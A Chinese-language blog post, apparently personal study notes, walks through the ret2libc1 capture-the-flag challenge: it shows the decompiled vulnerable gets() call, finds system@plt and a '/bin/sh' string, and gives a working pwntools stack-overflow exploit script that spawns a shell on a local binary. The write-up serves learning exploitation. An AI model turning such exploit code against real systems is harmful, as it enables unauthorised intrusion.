发布于 

pwn学习笔记-ret2libc1

试着运行程序

程序只有一个输入点,检查程序

程序开启了NX,拖进ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

这里同样有gets函数,并且经检测需覆盖字符仍为112

发现了内置的system函数

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h]
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
     system("shell!?");
}

但是并没有/bin/sh ,接着在ida中寻找/bin/sh

可以看到在0x08048720处存在/bin/sh

下面就可以构造exp了

from pwn import *

p = process('./ret2libc1')

elf = ELF('./ret2libc1')

p.sendline('a'*112+p32(elf.plt['system'])+'aaaa'+p32(0x08048720))

p.interactive()

其中

'a'*112+p32(elf.plt['system'])+'aaaa'+p32(0x08048720)

这里的aaaa是执行system后的返回地址,因为执行完system后我们就获取了shell,所以返回地址就用不到了,可以随意写

可以看到成功获得了shell


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 @yemoli 创建,使用 Stellar 作为主题。